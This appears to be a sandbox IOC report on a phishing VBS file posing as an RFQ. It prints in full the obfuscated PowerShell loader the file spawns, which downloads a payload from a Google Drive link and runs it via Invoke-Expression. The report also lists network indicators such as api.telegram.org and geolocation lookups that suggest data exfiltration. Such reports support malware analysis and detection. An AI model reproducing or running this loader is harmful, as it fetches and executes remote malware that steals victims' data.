IOC Report
#U8a62#U50f9 (RFQ) -RFQ20241010.vbs

#U8a62#U50f9 (RFQ) -RFQ20241010.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U8a62#U50f9 (RFQ) -RFQ20241010.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Fllesboet Ramshorns Rhinaria Overdresses Facetterende #>;$Overophedendes='strudsfjerenes';<#Nonneordenen Overspndtes brisantgranaters Galactosuria Badestrande Tagdkningen #>;$Prambelet19=$Forngternes+$host.UI;If ($Prambelet19) {$Svinebstets++;}function Hjlpeprster($Forecastors){$Dihydroxy95=$Barberfish+$Forecastors.'Length'-$Svinebstets; for( $Vandplantes24=5;$Vandplantes24 -lt $Dihydroxy95;$Vandplantes24+=6){$Tillamook='Odorlessness';$Chairway+=$Forecastors[$Vandplantes24];$Dispatch48='Knivblade';}$Chairway;}function Snoose($Spektrenes){ & ($Tvillingsstrene) ($Spektrenes);}$Weakly=Hjlpeprster 'T umbMTownloferiezKrubiiInterlUnwellFrihaaergat/Cornu5Dimho.Fenyl0Drivt Bedri( O teWUnderi urinFe ied SubdoE,siswCont sUrb n Hi.hfN LuxuTvest, Bomba1Flles0C,clo.Bef e0V vob;Kvste TestWRadagiToernnStvfn6 albi4 otr; N,ds TinktxSousa6Bylde4Reip ;Vre,s AutovrM riovPendu:.resa1Phono2Dairy1 List. Duru0Di pl)Stat Tra,eGMicroePlac cPopulkOversoa.kom/Evasi2Octan0 Anti1 Ital0Retst0Vel.e1T.ger0Am ro1Intr totaF prioiJa,thrLoinse D,rifFormaoThe,oxBru,a/ ,ars1La it2 Uva,1Etage. nsuf0Noni ';$Erythrocytes=Hjlpeprster ' hyp uBilm.sUdaaneOcta.r dbyg-AssesARapseGGrunde eglin GoattLeche ';$Behaviourist=Hjlpeprster 'ArchehStrant LdertHollop Aksis .imm:resgs/Wi te/Frekvd Drg r InviiHov dvKlosteMrkel.PhilagFallioCystooBudlig Fa.slSup.reLidel.friticDentaoPro,rmSanda/UnderuAarspcExtra?Eftere Gen.xUdsulpOeje oCl.irrDesigtSydga=RednidSita oKondiw aragn ulnelProgro dungaSuprad Deno&AnopliEmbusdPlak =Terre1AfvanvHoneymMagikFovertR Seto9KadenyKvaded U dyuCecilHDisco7.kopuBFr,sk2Sa.rulTrib.OU.tagF Pro ODraugQ apsoq PochcSo nkZIna,nV AlpeCSgekoVHybriG ind4 Ekspw.ilhacGrundtlserkOEu ukCrhipibSldecIOver ';$Brkop=Hjlpeprster 'Fleck>delin ';$Tvillingsstrene=Hjlpeprster 'Lith INoncoeF emmx unds ';$Eaters='Frog';$Uptore='\Kommandocentralens.Qua';Snoose (Hjlpeprster 'gaase$Undfag BibrLFlokdoMi libLsgreAAmo eladstr: ftrdHdowntiEjnerLdrivedAcy aeHep tdSte neSulp.=Rigou$Jettee TrotN nscrvP efe:PolycA RepoPProcaP UnindSelv aMajbrtNonmiARepla+B.nga$Aldisu.agskPCol.qT BefiOUnre RP,enoeSubhe ');Snoose (Hjlpeprster ',uftn$DenatGOutsmL Misto Sk lb Aft aPretrLfl.vv:S.imeLNiel SboppeBGran LCompraUnde D Biote.elev2Detin5 Sk l4Y.erl=Sabba$PredeBAtta eGarniHB omaABor eV SmokIQuibbOKommauIntuiRRapheIO stiSBilfoTAarso.ReindsOpretpA,mitlTa kei ,ibatHulsv(Docog$ PlacBCapitRpulldksapphoSkralPBasil) olyt ');Snoose (Hjlpeprster 'Flder[Tanken pejlEFa edTImple. easesSpindEUnprorFo ekVTabe iL ndbc EvinEForldpPlan,obaredILydtbNDa atTCykelmcompraWe neNBortfa .onrgKnapnE DeikrC cil] Folk:Digit:TrykksMaltreSmoldcKdkonUpen.erComm IBuscht RablYCivilpLov iRf,ugtoHenkoTUnproopaatac StaroOvernLPhi.a Efter=Na rv Teks[ esteNantite kibtJage .InstrsCarpoeToccaCC.pidura,errMenthi olumt ,ureYSemidpBoundROphavo Slagt EffiO.edthC Stvko TangL,ymniTo erfypol tP nfaEBeslu]Dilet:Filli:Dekl,t,edekL OmdiSP.ece1Lakke2resor ');$Behaviourist=$Lsblade254[0];$Swankpot=(Hjlpeprster 'Victo$ Kns.G GenelCyanoOserpebChaffATriviLDepla:UnderhTrichUBadelmAutokrPegaiFPleocoMoth,rOpbrulBundtA Ga,nDSyn aTBalde2Skole0Gener6Krteg=SkribNDi tceBran w Unfa-ProleODish bPa acjSni,sEKo ancAktiotDulc DivasvejfoYRigh sObnouTHunknEMisgoMSoodl.Unc mn etste Delit,yele.Pro eWPruneePladsB,uahuC Vejrl StatiRoyniETicktnElectt gulp ');Snoose ($Swankpot);Snoose (Hjlpeprster 'Irrec$ uperHMyriauSparrmKlinkr hokfCock oPege rKinemlN tteaNedkodTheoltM ssa2 Tils0aboun6Abra .SaphaH Prole SortaMensedGalabeBlrebrAlpehsBukke[Knled$Stin EInterrSco,cy soustGrundhGookbrGodaro eriscGoersyReliktAn.iqeFus.osVagte] K ns=Unpoe$DamasWHemo eTitreaForsrkDrag l FilmyDispo ');$Tilbedendes=Hjlpeprster ' Tele$Se.ulHMat auTodimm S ytrFinanfSuperoC.intrG naelPrimoaTalpidSin.nt Sk v2 t lp0Semig6 efl. PearD SpaloTilbawLnninnInt rlSammeoSp,ciaBesrgdHemerF ExhaiUnivelFripoeanthi( Tele$ orsBFreeleSmrreh DrilaAkt evAr eai.omocoCykeluUnvirrAks ei,habasRe lutMnst , Hksa$ B stJBy aaeNu,lew andeEpigolstounlPampheAzoter Hea,iBogkaeParodsKvadr)Endem ';$Jewelleries=$Hildede;Snoose (Hjlpeprster 'Libe,$AsperGPani L Sk.vOEk.trbetikeASlvsml E,il:Aargas ,amuK R stR SparIpennyn SkriL FortGMobilGNonageU pron In.eDCh sme SinoSWeakf=schn (P cketPla teSkobrsH.pertCon e-DybdepN uroaIchthTDeepwhMeini Sa fu$AntenJDataoEAmortw BrygeBambuLLo.nslNotesED,scoRIncomiApoteE .yposPubli)Alber ');while (!$Skrinlggendes) {Snoose (Hjlpeprster ' Pe g$Filthg njurl SomnoMonstb Arrya,eraflBromv: gfoHGriffo MetamMa,asiUph altegn.e lmut Outlisu,ersMedrikSeedn1Att c3Gross5 npu=r.alt$ isemt ImoerUnconu Non eLo.me ') ;Snoose $Tilbedendes;Snoose (Hjlpeprster ' EnddsTeknoTVegetaIggieRSgereTTrste- Hepts VigelBogfoe.solieI dfjPF,stb Si.ds4Laane ');Snoose (Hjlpeprster 'beslu$T turG owerlFant OElemebLea eAEncloLSup,r:RealisSemiakUnknorDeliliBryssNParall noppG Par gTamaseDomicnCressd abbErumstsFisk,=Fi bl(BesigT CwtsEEthy.SJu,elTloghe-RetsvPSkraaasa antVelgrHSprin colo$fa,iljUnderE ReabwUnraiE KommL Gtt,lGymnaeNonguRPrenaIForhaeUndersEntwi) Huck ') ;Snoose (Hjlpeprster 'Jawbo$NiveaGEctodL unitO ammebTabbyA SygelH ars: OdonwHovedaEjendlLysseeEjendD Turk8Kniks8Reorg=Occul$ IchtGNy aaLBolstO kamBXerodaTork.l Mace:U.addBCamaliPartilGr,ffLLigniOOmlssw Daae+Stedv+ Regu%Slgts$ finglMunk,sSkrfeB P.oul aberAStigsDNonseeTilra2 ang5Chair4 Tr n.TurisCUlig.OVinnau litenHushoTOverr ') ;$Behaviourist=$Lsblade254[$Waled88];}$Chlorinity144=319932;$Gldesls=31552;Snoose (Hjlpeprster 'Shi l$ ForbgSlsomLRoypoo UdstBGynanApaaa LRheop:ktternClockOcabreNLangbepe talRouleEDisemc AptstFatl,OSolidrd.epa Flyv=Cysto Fingg GlobeudsprtD,kan-PrunecHekseO PresnMeni tGalanEshakenEpi,eTBheng D.ton$ MeckJStkkeEStyesW Lab eProd.l SiliLDoedee KrearFe,eriSveinEF steSStifi ');Snoose (Hjlpeprster 'Morde$CrossgGy pelPar.uoc,ugabTildkaArb.jlSkraa:TouseSAbonnl Ra,gySgenanOversgH,arslDeta eAlludrFostrnLozene uart ontr=C rpo Del c[ Hau S Sluty FasasOldwitGiolieQuadem Solo.SkftnCTekstoVarianSinkevBarb.eFrijar,riestMorge]Ta.ef: Matt:BandsFKollar I,proPor rmGhe.tB Som,aI paksIndgre jemf6Afh g4 ErodS.ettitOksekrInteri SrsynSkr,dgPl gg(Bly.n$unporNOm ipoSenion She,eSelvslFlirteCalc cI spht versoB urtr Flde) Clea ');Snoose (Hjlpeprster 'Seri,$ConfiG Udk l .ndeo FlinBPipleaArbitlSmarm: RgelsDiploa ClerNVandoOCoc sPHereaU,bsfaRAs heUJeblilFredses nhenSpkkeTHusli Besov=Kompl Uncom[Man isSagtmyFst.gsFaktuTMetise nigoMBeg e.D.scrTP ankeEnkelXUn,ovTEtypi.StalaeGenklNVict.CLnregoCentrdDesi i.minknmordeGLa db]Caper: Akti:rufgaAFdselS S abcGum,oIReno.iSi.di.SplutG RebeeSka kt .azaSUndisTDiftor AgtsIBrudfNPrecog Spr,(grdes$KollasBastaL A miy Th.nn.nbelGPrivaLSermoeA falrAfspnnVagabE Inly)Mue d ');Snoose (Hjlpeprster 'Lengt$ FlorgRoyallH.rnbO HuedbMar,ia CentLPisse:EveryHOppr.a PreegPani IThoraOCables b nncAnmelo UdmupR,gboEOutbe=Se.im$Hens,sRegreaBasguNMasseo.enisP brugUReprsRSagfrUMastuLLilleeD ismNRe ixtGia t.SammeSaflukUBondeBUnders T egtNotanRaskebI nabn NavngCheck(Min.a$ ilieC.pareHUnmerlInte.o Re urTe evi,denonS,tieIVr ltt Cal,yUnsil1Aflev4 K.eb4S nkt,Etrus$,vrgrg For,LRapi DQuieteP,rvisUdkl LH,mats Bar ) herm ');Snoose $Hagioscope;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Fllesboet Ramshorns Rhinaria Overdresses Facetterende #>;$Overophedendes='strudsfjerenes';<#Nonneordenen Overspndtes brisantgranaters Galactosuria Badestrande Tagdkningen #>;$Prambelet19=$Forngternes+$host.UI;If ($Prambelet19) {$Svinebstets++;}function Hjlpeprster($Forecastors){$Dihydroxy95=$Barberfish+$Forecastors.'Length'-$Svinebstets; for( $Vandplantes24=5;$Vandplantes24 -lt $Dihydroxy95;$Vandplantes24+=6){$Tillamook='Odorlessness';$Chairway+=$Forecastors[$Vandplantes24];$Dispatch48='Knivblade';}$Chairway;}function Snoose($Spektrenes){ & ($Tvillingsstrene) ($Spektrenes);}$Weakly=Hjlpeprster 'T umbMTownloferiezKrubiiInterlUnwellFrihaaergat/Cornu5Dimho.Fenyl0Drivt Bedri( O teWUnderi urinFe ied SubdoE,siswCont sUrb n Hi.hfN LuxuTvest, Bomba1Flles0C,clo.Bef e0V vob;Kvste TestWRadagiToernnStvfn6 albi4 otr; N,ds TinktxSousa6Bylde4Reip ;Vre,s AutovrM riovPendu:.resa1Phono2Dairy1 List. Duru0Di pl)Stat Tra,eGMicroePlac cPopulkOversoa.kom/Evasi2Octan0 Anti1 Ital0Retst0Vel.e1T.ger0Am ro1Intr totaF prioiJa,thrLoinse D,rifFormaoThe,oxBru,a/ ,ars1La it2 Uva,1Etage. nsuf0Noni ';$Erythrocytes=Hjlpeprster ' hyp uBilm.sUdaaneOcta.r dbyg-AssesARapseGGrunde eglin GoattLeche ';$Behaviourist=Hjlpeprster 'ArchehStrant LdertHollop Aksis .imm:resgs/Wi te/Frekvd Drg r InviiHov dvKlosteMrkel.PhilagFallioCystooBudlig Fa.slSup.reLidel.friticDentaoPro,rmSanda/UnderuAarspcExtra?Eftere Gen.xUdsulpOeje oCl.irrDesigtSydga=RednidSita oKondiw aragn ulnelProgro dungaSuprad Deno&AnopliEmbusdPlak =Terre1AfvanvHoneymMagikFovertR Seto9KadenyKvaded U dyuCecilHDisco7.kopuBFr,sk2Sa.rulTrib.OU.tagF Pro ODraugQ apsoq PochcSo nkZIna,nV AlpeCSgekoVHybriG ind4 Ekspw.ilhacGrundtlserkOEu ukCrhipibSldecIOver ';$Brkop=Hjlpeprster 'Fleck>delin ';$Tvillingsstrene=Hjlpeprster 'Lith INoncoeF emmx unds ';$Eaters='Frog';$Uptore='\Kommandocentralens.Qua';Snoose (Hjlpeprster 'gaase$Undfag BibrLFlokdoMi libLsgreAAmo eladstr: ftrdHdowntiEjnerLdrivedAcy aeHep tdSte neSulp.=Rigou$Jettee TrotN nscrvP efe:PolycA RepoPProcaP UnindSelv aMajbrtNonmiARepla+B.nga$Aldisu.agskPCol.qT BefiOUnre RP,enoeSubhe ');Snoose (Hjlpeprster ',uftn$DenatGOutsmL Misto Sk lb Aft aPretrLfl.vv:S.imeLNiel SboppeBGran LCompraUnde D Biote.elev2Detin5 Sk l4Y.erl=Sabba$PredeBAtta eGarniHB omaABor eV SmokIQuibbOKommauIntuiRRapheIO stiSBilfoTAarso.ReindsOpretpA,mitlTa kei ,ibatHulsv(Docog$ PlacBCapitRpulldksapphoSkralPBasil) olyt ');Snoose (Hjlpeprster 'Flder[Tanken pejlEFa edTImple. easesSpindEUnprorFo ekVTabe iL ndbc EvinEForldpPlan,obaredILydtbNDa atTCykelmcompraWe neNBortfa .onrgKnapnE DeikrC cil] Folk:Digit:TrykksMaltreSmoldcKdkonUpen.erComm IBuscht RablYCivilpLov iRf,ugtoHenkoTUnproopaatac StaroOvernLPhi.a Efter=Na rv Teks[ esteNantite kibtJage .InstrsCarpoeToccaCC.pidura,errMenthi olumt ,ureYSemidpBoundROphavo Slagt EffiO.edthC Stvko TangL,ymniTo erfypol tP nfaEBeslu]Dilet:Filli:Dekl,t,edekL OmdiSP.ece1Lakke2resor ');$Behaviourist=$Lsblade254[0];$Swankpot=(Hjlpeprster 'Victo$ Kns.G GenelCyanoOserpebChaffATriviLDepla:UnderhTrichUBadelmAutokrPegaiFPleocoMoth,rOpbrulBundtA Ga,nDSyn aTBalde2Skole0Gener6Krteg=SkribNDi tceBran w Unfa-ProleODish bPa acjSni,sEKo ancAktiotDulc DivasvejfoYRigh sObnouTHunknEMisgoMSoodl.Unc mn etste Delit,yele.Pro eWPruneePladsB,uahuC Vejrl StatiRoyniETicktnElectt gulp ');Snoose ($Swankpot);Snoose (Hjlpeprster 'Irrec$ uperHMyriauSparrmKlinkr hokfCock oPege rKinemlN tteaNedkodTheoltM ssa2 Tils0aboun6Abra .SaphaH Prole SortaMensedGalabeBlrebrAlpehsBukke[Knled$Stin EInterrSco,cy soustGrundhGookbrGodaro eriscGoersyReliktAn.iqeFus.osVagte] K ns=Unpoe$DamasWHemo eTitreaForsrkDrag l FilmyDispo ');$Tilbedendes=Hjlpeprster ' Tele$Se.ulHMat auTodimm S ytrFinanfSuperoC.intrG naelPrimoaTalpidSin.nt Sk v2 t lp0Semig6 efl. PearD SpaloTilbawLnninnInt rlSammeoSp,ciaBesrgdHemerF ExhaiUnivelFripoeanthi( Tele$ orsBFreeleSmrreh DrilaAkt evAr eai.omocoCykeluUnvirrAks ei,habasRe lutMnst , Hksa$ B stJBy aaeNu,lew andeEpigolstounlPampheAzoter Hea,iBogkaeParodsKvadr)Endem ';$Jewelleries=$Hildede;Snoose (Hjlpeprster 'Libe,$AsperGPani L Sk.vOEk.trbetikeASlvsml E,il:Aargas ,amuK R stR SparIpennyn SkriL FortGMobilGNonageU pron In.eDCh sme SinoSWeakf=schn (P cketPla teSkobrsH.pertCon e-DybdepN uroaIchthTDeepwhMeini Sa fu$AntenJDataoEAmortw BrygeBambuLLo.nslNotesED,scoRIncomiApoteE .yposPubli)Alber ');while (!$Skrinlggendes) {Snoose (Hjlpeprster ' Pe g$Filthg njurl SomnoMonstb Arrya,eraflBromv: gfoHGriffo MetamMa,asiUph altegn.e lmut Outlisu,ersMedrikSeedn1Att c3Gross5 npu=r.alt$ isemt ImoerUnconu Non eLo.me ') ;Snoose $Tilbedendes;Snoose (Hjlpeprster ' EnddsTeknoTVegetaIggieRSgereTTrste- Hepts VigelBogfoe.solieI dfjPF,stb Si.ds4Laane ');Snoose (Hjlpeprster 'beslu$T turG owerlFant OElemebLea eAEncloLSup,r:RealisSemiakUnknorDeliliBryssNParall noppG Par gTamaseDomicnCressd abbErumstsFisk,=Fi bl(BesigT CwtsEEthy.SJu,elTloghe-RetsvPSkraaasa antVelgrHSprin colo$fa,iljUnderE ReabwUnraiE KommL Gtt,lGymnaeNonguRPrenaIForhaeUndersEntwi) Huck ') ;Snoose (Hjlpeprster 'Jawbo$NiveaGEctodL unitO ammebTabbyA SygelH ars: OdonwHovedaEjendlLysseeEjendD Turk8Kniks8Reorg=Occul$ IchtGNy aaLBolstO kamBXerodaTork.l Mace:U.addBCamaliPartilGr,ffLLigniOOmlssw Daae+Stedv+ Regu%Slgts$ finglMunk,sSkrfeB P.oul aberAStigsDNonseeTilra2 ang5Chair4 Tr n.TurisCUlig.OVinnau litenHushoTOverr ') ;$Behaviourist=$Lsblade254[$Waled88];}$Chlorinity144=319932;$Gldesls=31552;Snoose (Hjlpeprster 'Shi l$ ForbgSlsomLRoypoo UdstBGynanApaaa LRheop:ktternClockOcabreNLangbepe talRouleEDisemc AptstFatl,OSolidrd.epa Flyv=Cysto Fingg GlobeudsprtD,kan-PrunecHekseO PresnMeni tGalanEshakenEpi,eTBheng D.ton$ MeckJStkkeEStyesW Lab eProd.l SiliLDoedee KrearFe,eriSveinEF steSStifi ');Snoose (Hjlpeprster 'Morde$CrossgGy pelPar.uoc,ugabTildkaArb.jlSkraa:TouseSAbonnl Ra,gySgenanOversgH,arslDeta eAlludrFostrnLozene uart ontr=C rpo Del c[ Hau S Sluty FasasOldwitGiolieQuadem Solo.SkftnCTekstoVarianSinkevBarb.eFrijar,riestMorge]Ta.ef: Matt:BandsFKollar I,proPor rmGhe.tB Som,aI paksIndgre jemf6Afh g4 ErodS.ettitOksekrInteri SrsynSkr,dgPl gg(Bly.n$unporNOm ipoSenion She,eSelvslFlirteCalc cI spht versoB urtr Flde) Clea ');Snoose (Hjlpeprster 'Seri,$ConfiG Udk l .ndeo FlinBPipleaArbitlSmarm: RgelsDiploa ClerNVandoOCoc sPHereaU,bsfaRAs heUJeblilFredses nhenSpkkeTHusli Besov=Kompl Uncom[Man isSagtmyFst.gsFaktuTMetise nigoMBeg e.D.scrTP ankeEnkelXUn,ovTEtypi.StalaeGenklNVict.CLnregoCentrdDesi i.minknmordeGLa db]Caper: Akti:rufgaAFdselS S abcGum,oIReno.iSi.di.SplutG RebeeSka kt .azaSUndisTDiftor AgtsIBrudfNPrecog Spr,(grdes$KollasBastaL A miy Th.nn.nbelGPrivaLSermoeA falrAfspnnVagabE Inly)Mue d ');Snoose (Hjlpeprster 'Lengt$ FlorgRoyallH.rnbO HuedbMar,ia CentLPisse:EveryHOppr.a PreegPani IThoraOCables b nncAnmelo UdmupR,gboEOutbe=Se.im$Hens,sRegreaBasguNMasseo.enisP brugUReprsRSagfrUMastuLLilleeD ismNRe ixtGia t.SammeSaflukUBondeBUnders T egtNotanRaskebI nabn NavngCheck(Min.a$ ilieC.pareHUnmerlInte.o Re urTe evi,denonS,tieIVr ltt Cal,yUnsil1Aflev4 K.eb4S nkt,Etrus$,vrgrg For,LRapi DQuieteP,rvisUdkl LH,mats Bar ) herm ');Snoose $Hagioscope;"

C:\Windows\SysWOW64\msiexec.exe

"C:\Windows\SysWOW64\msiexec.exe"

reallyfreegeoip.org

188.114.97.3

api.telegram.org

149.154.167.220

checkip.dyndns.org

unknown

149.154.167.220

api.telegram.org

United Kingdom

188.114.97.3

reallyfreegeoip.org

European Union

D2B9000

direct allocation

page execute and read and write

86B0000

direct allocation

page execute and read and write

23841000

trusted library allocation

page read and write

26737431000

trusted library allocation

page read and write

5A48000

trusted library allocation

page read and write